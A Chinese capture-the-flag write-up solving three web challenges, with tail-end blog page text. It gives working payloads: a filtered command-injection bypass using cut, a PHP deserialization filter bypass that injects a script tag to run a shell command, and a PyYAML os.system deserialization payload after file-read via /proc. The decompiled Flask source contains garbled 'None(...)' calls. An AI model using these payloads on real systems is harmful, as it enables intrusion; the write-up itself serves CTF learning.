第二届金盾信安杯 web wp1-3

by 七岁。

web1

考察命令执行 shell命令操作符
在这里插入图片描述
基本上过滤了所有可用的命令
平时我们都是ls 查看目录
仔细发现dir命令并没有被禁止
所以我们可以dir%09.%09
在这里插入图片描述
也是这样的

.  表示当前目录

在这里插入图片描述
然后就是读文件命令
被ban了那么多还有几个忽略了
cut 命令awk sed fmt等等
来看看cut命令
在这里插入图片描述
在这里插入图片描述
试一试别的
在这里插入图片描述
等等,最后payload

cmd=cut%09-f%091%09F14g_1s_h4rehaha.php%09

web2

在这里插入图片描述

payload:

Class Welcome{
    public $cmd;
    public $admin='info';
}

$a = new Welcome();

echo serialize($a);

题目提示错误,fuzz一下
check_data函数过滤了O:7 cmd admin {
于是我们需要进行绕过,其中O:7通过O:+7进行绕过//为什么+可以绕过O:7通过O:+7
Cmd和admin使用S和16进制绕过,也就是将s:3:”cmd” ====》 S:3:"\63\6d\64"
Admin同理。
然后{}使用()代替

最终得到payload:

O:%2b7:"Welcome":2:(S:3:"\63\6d\64";N;S:14:"%00Welcome%00\61\64\6d\69\6e";S:4:"info";)

注意本地环境如果为php=7就不能用(绕过{,适用于php=5
之后就可以输出phpinfo
然后我们进行命令执行,只需要将info变成jdb即可。
然后就是会对$_POST[“cmd”]放入eval函数中执行,但是这里还有一个check_cmd函数需要绕过。经过测试,发现这个函数过滤了php
<? ; () script ‘ “” language 空格
首先,过滤了;
那无法直接执行php代码,必须用?>把前面的php代码闭合掉,在重新用<?phpxxxxxx?>写php代码
但是海拔<?过滤了,除了
<?php ?>之外,我们还可以用<script language=’php’>xxx</script>代码执行
script php language的过滤我们可以用大小写进行绕过。
把()过滤了无法直接调用php函数,那么我们可以用bash命令来执行,但是需要注意的是这个执行是没有回显的,需要打印出来,但是这里过滤了空格。 可以用%0a绕过空格
最终payload:

data=O:%2b7:"Welcome":2:(S:3:"\63\6d\64";S:2:"<?";S:14:"\00\57\65\6c\63\6f\6d\65\00\61\64\6d\69\6e";S:3:"\6a\64\62";)&cmd=?><ScriPT%0alanguagE=PhP>echo%0a`cat</F1ag_1s_h4re_HaHa!.txt`</ScRiPt>

web3


考察python pyyaml反序列化漏洞 读pyc文件**

首先看到一个连接照片的地址
在这里插入图片描述
可以照成任意文件泄露读取
在这里插入图片描述
尝试读源代码

/proc/self/environ读当前目录

然后我们读取源码时发现,当文件名后面两位为.py时,会禁止读取。
于是我们尝试读取pyc文件,我们知道python编译时会在本地产生中间代码,即pyc文件,这个文件一般存在同目录的__pycache__目录下。我们首先要找到当前目录,通过读取/proc/self/environ可以知道工作目录为/var/www/html
在这里插入图片描述所以我们尝试读 pyc 文件。python编译时会在本地产生中间代码,即pyc文件,这个文件一般存在同目
录的 pycache 目录下。然后pyc的命名规则为文件名 .cpython-35.pyc (因为python版本)

?img=/proc/self/cwd/pycache/app.cpython-35.pyc

然后在在线网站中还原得到源码或者我们通过浏览器去访问下载照片,修改后缀名通过 uncompyle6 进行将pyc的文件恢复成py文件
在这里插入图片描述

在这里插入图片描述

from flask import redirect, Flask, render_template, request, abort
from flask import url_for, send_from_directory, send_file, make_response, Response, jsonify
import base64
import json
import yaml
import os
app = Flask(__name__)

class Name:
    
    def __init__(self):
        pass

    
    def from_configuration(config):
        return Name(**yaml.load(config, Loader = yaml.Loader))

    from_configuration = staticmethod(from_configuration)


def waf(name):
    if '..' in name:
        return -1
    if None[-2:] == 'py':
        return -2
    return None


def index():
    return render_template('index.html', out = 'Welcome to enter!', is_value = 0)

index = app.route('/', methods = [
    'GET',
    'POST'])(index)

def get_image():
    filename = request.args.get('img')
    if waf(filename) == -1:
        return jsonify('directory traversal forbidden!')
    if None(filename) == -2:
        return jsonify('reading forbidden!')
    imgPath = None.path.join('/var/www/html', 'static', filename)
    if not os.path.exists(imgPath):
        return jsonify('image does not exists')
    return None(imgPath, mimetype = 'image/png')

get_image = app.route('/get_image')(get_image)

def set():
    if request.method == 'POST':
        if 'name' in request.form:
            name = request.form['name']
        if 'config' in request.form:
            result = Name.from_configuration(request.form['config'])
            return make_response(render_template('index.html', result = result), 200)
        return None(render_template('index.html', out = 'Welcome,' + name, is_value = 1), 200)
    return None(render_template('setting.html'), 200)

set = app.route('/set', methods = [
    'GET',
    'POST'])(set)

发现源码中存在yaml反序列化漏洞,直接利用网上的payload打就行

python pyaml反序列化

!!python/object/apply:os.system [“ls>/tmp/1.txt”]

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

评论 9
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值